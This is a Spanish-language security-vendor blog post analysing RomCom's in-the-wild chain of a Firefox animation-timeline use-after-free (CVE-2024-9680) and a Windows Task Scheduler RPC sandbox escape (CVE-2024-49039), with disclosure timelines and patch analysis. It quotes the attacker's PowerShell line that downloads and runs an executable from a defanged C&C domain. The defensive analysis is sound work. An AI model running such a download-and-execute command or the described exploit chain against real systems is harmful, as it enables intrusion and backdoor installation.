RomCom explota in the wild vulnerabilidades zero days en Firefox y Windows

Investigadores de ESET descubrieron una vulnerabilidad previamente desconocida en productos Mozilla, explotada in the wild por el grupo alineado con Rusia RomCom. Esta es la segunda vez que RomCom ha sido sorprendido explotando una vulnerabilidad significativa de zero day in the wild, después del abuso de CVE-2023-36884 a través de Microsoft Word en junio de 2023.

Esta vulnerabilidad crítica, asignada CVE-2024-9680 con una puntuación CVSS de 9,8, permite a las versiones vulnerables de Firefox, Thunderbird y el navegador Tor ejecutar código en el contexto restringido del navegador. Encadenado con otra vulnerabilidad previamente desconocida en Windows, asignada CVE-2024-49039 con una puntuación CVSS de 8,8, se puede ejecutar código arbitrario en el contexto del usuario conectado. En un ataque exitoso, si una víctima navega a una página web que contenga el exploit, un adversario puede ejecutar código arbitrario —sin ninguna interacción del usuario requerida— que en este caso llevó a la instalación del backdoor del mismo nombre de RomCom en el ordenador de la víctima.

Puntos clave de este blogpost:

• El 8 de octubre de 2024, los investigadores de ESET descubrieron una vulnerabilidad de zero day previamente desconocida en los productos de Mozilla que estaba siendo explotada in the wild.
• El análisis del exploit llevó al descubrimiento de la vulnerabilidad, ahora asignada a CVE-2024-9680: un error de uso después de la liberación en la función de línea de tiempo de animación en Firefox. Mozilla corrigió la vulnerabilidad el 9 de octubre de 2024.
• Análisis posteriores revelaron otra vulnerabilidad zero day en Windows: un fallo de escalada de privilegios, ahora asignado CVE-2024-49039, que permite ejecutar código fuera del sandbox de Firefox. Microsoft publicó un parche para esta segunda vulnerabilidad el 12 de noviembre de 2024.
• Los intentos de explotación exitosos entregaron el backdoor RomCom, en lo que parece una campaña generalizada.

Perfil de RomCom

RomCom —también conocido como Storm-0978, Tropical Scorpius o UNC2596— es un grupo alineado con Rusia que lleva a cabo tanto campañas oportunistas contra sectores empresariales como operaciones de espionaje selectivo. El enfoque del grupo ha cambiado para incluir operaciones de espionaje, en paralelo con sus operaciones de ciberdelincuencia más convencionales. El backdoor utilizado por el grupo es capaz de ejecutar comandos y descargar módulos adicionales en la máquina de la víctima.

La Tabla 1 muestra los sectores objetivo, según nuestra investigación, de RomCom en 2024. Esto pone de manifiesto que el grupo se dedica al espionaje, pero también a operaciones de ciberdelincuencia.

Tabla 1. Víctimas de RomCom en 2024 Víctimas de RomCom en 2024

Cadena de compromiso

La cadena de compromiso se compone de un sitio web falso que redirige a la víctima potencial al servidor que aloja el exploit, y en caso de que el exploit tenga éxito, se ejecuta shellcode que descarga y ejecuta el backdoor RomCom —un ejemplo se muestra en la Figura 1. Aunque no sabemos cómo se distribuye el enlace al sitio web falso, si se accede a la página utilizando un navegador vulnerable, se suelta un payload que se ejecuta en el ordenador de la víctima sin que sea necesaria la interacción del usuario. Finalmente, se realiza una redirección de JavaScript utilizando window.location.href después de unos segundos, dando tiempo a que se ejecute el exploit.

Desde el 10 de octubre de 2024 hasta el 16 de octubre de 2024, justo después de que se parchease la primera vulnerabilidad, encontramos otros servidores de C&C que alojaban el exploit. Utilizaban un esquema de nomenclatura recurrente para sus servidores falsos, añadiendo el prefijo o sufijo redir o red a un dominio legítimo, a veces cambiando también su dominio de nivel superior (TLD), como se muestra en la Tabla 2. La redirección al final del intento de explotación llevaba a las víctimas al sitio web legítimo en el nombre de dominio original, presumiblemente para evitar levantar las sospechas de los objetivos.

Tabla 2. Servidores falsos que redirigen al exploit

Si una víctima que utiliza un navegador vulnerable visita una página web que contenga este exploit, se activa la vulnerabilidad y se ejecuta shellcode en un proceso de contenido. El shellcode se compone de dos partes: la primera recupera el segundo de la memoria y marca las páginas que contiene como ejecutables, mientras que la segunda implementa un cargador PE basado en el proyecto de código abierto Shellcode Reflective DLL Injection (RDI).

La biblioteca cargada implementa un escape sandbox para Firefox que conduce a la descarga y ejecución del backdoor RomCom en el ordenador de la víctima. El backdoor se escenifica en un servidor C&C ubicado en journalctd[.]live, correctiv[.]sbs, o cwise[.]store, dependiendo de la muestra.

Según nuestra telemetría, desde el 10 de octubre de 2024 hasta el 4 de noviembre de 2024, las víctimas potenciales que visitaron los sitios web que alojaban el exploit se encontraban principalmente en Europa y Norteamérica, como se muestra en la Figura 2. El número de objetivos potenciales va desde una sola víctima por país hasta 250, según la telemetría de ESET.

CVE-2024-9680: Use-after-free en Firefox Animation Timeline 

El 8 de octubre de 2024, encontramos archivos interesantes utilizados para entregar el backdoor RomCom, alojados en el servidor 1drv.us[.]com controlado por el actor de la amenaza. Los exploits se dirigen a una vulnerabilidad use-after-free en Firefox Animation Timeline, permitiendo a un atacante la ejecución de código en un proceso de contenido. Durante nuestra investigación, analizamos los archivos a los que se hace referencia en la Tabla 3.

Tabla 3. Archivos relacionados con el exploit Archivos relacionados con el exploit

Las marcas de tiempo relacionadas con estos archivos indican que fueron creados el 3 de octubre de 2024 y puestos online; sin embargo, el actor de la amenaza podría haber estado en posesión de este exploit antes de esta fecha.

Informamos de la vulnerabilidad a Mozilla poco después de descubrirla, con la siguiente cronología de acontecimientos:

• 08-10-2024: Descubrimiento y análisis inicial.
• 08-10-2024: Notificación de la vulnerabilidad a Mozilla.
• 08-10-2024: Vulnerabilidad reconocida por Mozilla.
• 09-10-2024: CVE-2024-9680 asignado por Mozilla Corporation.
• 09-10-2024: Vulnerabilidad parcheada en Firefox, Security Advisory 2024-51.
• 09-10-2024: Vulnerabilidad parcheada en Tor Browser con la versión 13.5.7.
• 10-10-2024: Vulnerabilidad parcheada en Tails con la versión 6.8.1.
• 10-10-2024: Vulnerabilidad parcheada en Thunderbird, Security Advisory 2024-52.

Nos gustaría agradecer al equipo de Mozilla su gran capacidad de respuesta y destacar su impresionante trabajo para publicar un parche en un día.

Mozilla y el Proyecto Tor publicaron un parche que corrige la vulnerabilidad en las siguientes versiones:

• Firefox 131.0.2
• Firefox ESR 115.16.1
• Firefox ESR 128.3.1
• Navegador Tor 13.5.7
• Tails 6.8.1
• Thunderbird 115.16
• Thunderbird 128.3.1
• Thunderbird 131.0.1

Durante la preparación de este blogpost, el investigador independiente Dimitri Fourny publicó un análisis detallado de la vulnerabilidad el 14 de noviembre de 2024.

Análisis de la causa

El main-<Firefox version>.js comprueba primero la versión exacta del navegador, y determina su explotabilidad comprobando algunos desplazamientos y tamaños de objetos específicos para una versión afectada. Si se superan estas comprobaciones, procede a añadir un iframe HTML en la página del exploit, implementado en animation0.html. Este último crea cuatro elementos HTML div identificados respectivamente como target0 a target3, pero lo más importante es que define una función getter para la propiedad then de Object.prototype, tal y como se muestra en la Figura 3. Esta función activará la función use-after. Esta función activará la vulnerabilidad use-after-free como se explica a continuación. Nótese que los comentarios (en verde oscuro) son de los autores del exploit; esto podría indicar que el exploit estaba todavía en fase de desarrollo o que el actor de la amenaza lo compró.

Después de un poco de heap spraying inicial, la función prepare crea cuatro objetos Animation, uno por cada elemento div creado previamente, como se ilustra en la Figura 4. Estos objetos de animación son manejados por un objeto AnimationTimeline.

A lo largo del documento de animation timeline, la función test pausa y devuelve la propiedad ready del primer y segundo objeto de animación. Como se indica en la documentación, la propiedad ready devuelve una Promise que resuelve cuando la animación está lista para ser reproducida. Llamando al médodo then sobre la promise provoca que se llame a la función getter mostrada en la Figura 3. Esencialmente, esta función incrementa una variable flag global y cuando alcanza 2, el primer objeto de animación(anim0) es cancelado, y todos los elementos div son eliminados. La llamada a la función rm0 (mostrada en la Figura 3) pone los objetos de animación en null para liberarlos, lo que desencadena la vulnerabilidad use-after-free. Esta función también hace algo de heap feng shui y, en el exploit descubierto inicialmente, llama a la función getInfo responsable de lograr la ejecución de código.

Mientras tanto, a medida que se actualiza el documento animation0.html, se llama periódicamente al método Tick de su objeto AnimationTimeline. Como se puede ver en la Figura 5, este método itera sobre los diferentes objetos de animación presentes en la línea de tiempo de animación y añade las animaciones a eliminar a una variable local llamada animationsToRemove.

El bug radica en que, mientras se itera sobre los diferentes objetos de animación de animation timeline, el método Tick del objeto Animation, es llamado lo que puede llevar a la liberación del objeto de animación actual, resultando en el manejo de un dangling pointer. Mientras depurábamos el exploit, observamos una secuencia de llamadas que finalmente terminaban en la función getter explicada anteriormente, como se ilustra en la Figura 6 y Figura 7.

La función getter llama a Animation::Cancel que a su vez llama a AnimationTimeline::RemoveAnimation. Luego, los objetos de animación anim0 y anim1 son puestos a null para que sean liberados. Cuando AnimationTimeline::Tick itera sobre el array animationsToRemove (línea 74 en la Figura 5), AnimationTimeline::RemoveAnimation manipulará un puntero colgante de un objeto Animation que ya fue eliminado, como se muestra en la Figura 8.

Después de liberar las animaciones en la función rm0, el exploit procede con más heap management para controlar los objetos que reemplazarán a las animaciones liberadas, y finalmente, se llama a la función getInfo, como se ve en la Figura 9.

Sin entrar en demasiados detalles sobre el código exploit, su autor abusó de los objetos div y sus atributos, así como de los objetos ImageData para filtrar propiedades de estos últimos, tal y como se observa en la Figura 10.

A continuación, el código exploit procede a manipular objetos ArrayBuffer para filtrar la dirección de un objeto JavaScript arbitrario (conocido como primitiva addrof ) y abusar del compilador JIT de Firefox para ejecutar el primer componente shellcode en el contexto de un proceso de contenido, como se ilustra en la figura 11. Esta técnica se explica con gran detalle en este blogpost.

Mozilla parcheó la vulnerabilidad en Firefox 131.0.2, Firefox ESR 128.3.1 y Firefox ESR 115.16.1 el 9 de octubre de 2024. Esencialmente, los pointers a los objetos de animación manejados el timeline se implementan ahora a través de punteros contadores de referencias(RefPtr), como sugiere el diff, lo que impide que las animaciones sean liberadas, ya que AnimationTimeline::Tick seguirá manteniendo una referencia a ellas.

Análisis del código shell

Ambos shellcodes están almacenados en el fichero JavaScript exploit main-<Firefox version>.js. El primero se crea dinámicamente como una matriz de números flotantes, mientras que el segundo se almacena como una enorme matriz de bytes.

El shellcode de Egghunting

Este primer shellcode simplemente recupera el segundo shellcode buscando en memoria un valor mágico codificado de 0x8877665544332211, cambia su protección de memoria a lectura-escritura-ejecución (RWX), y ejecuta el código localizado en esta dirección.

Código shell del cargador reflectivo

Este segundo shellcode es la versión compilada del proyecto Shellcode RDI, que permite cargar una DLL. Las constantes utilizadas en el shellcode no fueron modificadas por el actor de la amenaza ( véase https://github.com/monoxgas/sRDI/blob/master/Native/Loader.cpp#L367 frente a las constantes mostradas en la Figura 12).

El shellcode simplemente carga una biblioteca incrustada cuyo único propósito es escapar de las restricciones del proceso de contenido sandboxed de Firefox.

CVE-2024-49039: Escalada de privilegios en el Programador de tareas de Windows

La librería cargada (SHA1: ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6), llamada PocLowIL por sus desarrolladores y compilada el 3 de octubre de 2024, implementa un escape del sandbox desde el nivel de proceso no confiable del proceso de contenido a un nivel medio. Esencialmente, la librería hace uso de un endpoint RPC no documentado, que no debería ser invocable desde un nivel de proceso no confiable, para lanzar un proceso PowerShell oculto que descarga una segunda etapa desde un servidor C&C.

La cronología de la revelación de la vulnerabilidad es la siguiente:

• 2024-10-08: Como parte de nuestro informe inicial a Mozilla para CVE-2024-9680, también proporcionamos lo que creíamos que era un escape sandbox.
• 2024-10-14: El equipo de seguridad de Mozilla confirmó la fuga del sandbox y consideró que la vulnerabilidad estaba relacionada con un fallo de seguridad de Windows. Nos informaron de que se habían puesto en contacto con el Centro de Respuesta de Seguridad de Microsoft (MSRC) para evaluar la vulnerabilidad.
• 2024-11-12: Microsoft publicó un aviso para CVE-2024-49039 y su correspondiente parche a través de la actualización KB5046612. La vulnerabilidad también fue encontrada de forma independiente por Vlad Stolyarov y Bahare Sabouri del Grupo de Análisis de Amenazas de Google, como se menciona en KB5046612.

Análisis de la causa

El código de escape del sandbox reside en la relativamente pequeña función principal de la librería. Hace uso de un punto final RPC no documentado, como se ilustra en la Figura 13.

La función procede a rellenar estructuras no documentadas y llama a NdrClientCall2 tres veces. El primer parámetro pasado a esta función, pStubDescriptor, es una estructura MIDL_STUB_DESC cuyo miembro RpcInterfaceInformation apunta a una interfaz identificada por el GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1. Esta interfaz está implementada en la biblioteca de Windows WPTaskScheduler.dll, cargada por schedsvc.dll, alojada en el proceso del servicio programador de tareas(svchost.exe).

Según nuestro análisis de esta interfaz, el código de escape del sandbox llama a las siguientes funciones:

• s_TaskSchedulerCreateSchedule
• s_TaskSchedulerExecuteSchedule
• s_TaskSchedulerDeleteSchedule (usada solo para limpieza)

Usando RpcView y después de invertir parcialmente algunas estructuras, averiguamos las estructuras principales, como se ilustra en la Figura 14.

Después de aplicar estas estructuras en IDA Pro, obtuvimos una visión más clara de la tarea, como se ve en la Figura 15.

Basado en el código, la librería maliciosa crea una tarea programada que ejecutará una aplicación arbitraria a un nivel de integridad medio, permitiendo a los atacantes elevar sus privilegios en el sistema y escapar del sandbox. Esto es posible debido a la falta de restricciones impuestas en el descriptor de seguridad aplicado a la interfaz RPC durante su creación, como se ilustra en la Figura 16.

La variable renombrada interface_security_descriptor, utilizada cuando se llama a RpcServerRegisterIf3, tiene el siguiente valor: D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD). Según el Lenguaje de Definición de Descriptores de Seguridad (SDDL), permite a todo el mundo (WD) comunicarse con la interfaz RPC y llamar a sus procedimientos independientemente de su nivel de integridad.

Explotación

En este caso, el actor de la amenaza creó una tarea llamada firefox.exe que lanzará conhost.exe en modo headless para ocultar la ventana del proceso hijo. La desofuscación del resto de la línea de comandos (que se muestra en la Figura 15) reveló el código PowerShell que se ve en la Figura 17. El código es el siguiente

$a=$env:public + '\\\public'; Invoke-WebRequest https://journalctd[.]live/JfWb4OrQPLh -o $a; sleep 15; Rename-Item $a ($a = ($a + '.exe')) # $env:public\public.exe Iniciar-proceso $a; sleep 10; Renombrar-elemento $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:public\public.exe Inicio-Proceso $a

Figura 17. Código PowerShell descargando un componente de la siguiente fase

Se descarga un ejecutable de https://journalctd[.]live/JfWb4OrQPLh, se almacena en la carpeta %PUBLIC% como public.exe y se ejecuta. Transcurridos 10 segundos, se renombra como epublic. exe y se vuelve a ejecutar.

Breve análisis del parche

La versión parcheada de WPTaskScheduler.dll (versión 10.0.19041.5129) publicada con KB5046612 utiliza un descriptor de seguridad más complicado, como se muestra en la Figura 18.

El nuevo descriptor de seguridad es

D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)

El desglose de la cadena revela la siguiente lógica de restricción:

• las cuentas de sistema(SY) y de servicio local(LS) tienen acceso de lectura, escritura y ejecución,
• la cuenta de servicio de red(NS) y los usuarios interactivos (IU) sólo tienen acceso de lectura,
• por último, a los objetos de integridad inferior al nivel medio(ME) se les deniega el acceso de lectura, escritura y ejecución.

Las nuevas restricciones impuestas por el descriptor de seguridad actualizado evitan la escalada de privilegios y dejan obsoleto el código de escape del sandbox.

Conclusión

El encadenamiento de dos vulnerabilidades de zero days dotó a RomCom de un exploit que no requiere interacción del usuario. Este nivel de sofisticación muestra la voluntad y los medios del actor de la amenaza para obtener o desarrollar capacidades sigilosas. ESET compartió hallazgos detallados con Mozilla, siguiendo nuestro proceso coordinado de divulgación de vulnerabilidades poco después del descubrimiento. Mozilla publicó un blog sobre cómo reaccionó ante la revelación y pudo publicar una solución en 25 horas, lo que es muy impresionante en comparación con los estándares de la industria.

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, póngase en contacto con nosotros en threatintel@eset.com.

ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Puede encontrar una lista completa de indicadores de compromiso y muestras en nuestro repositorio de GitHub.

Archivos

Red

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 16 del marco MITRE ATT&CK.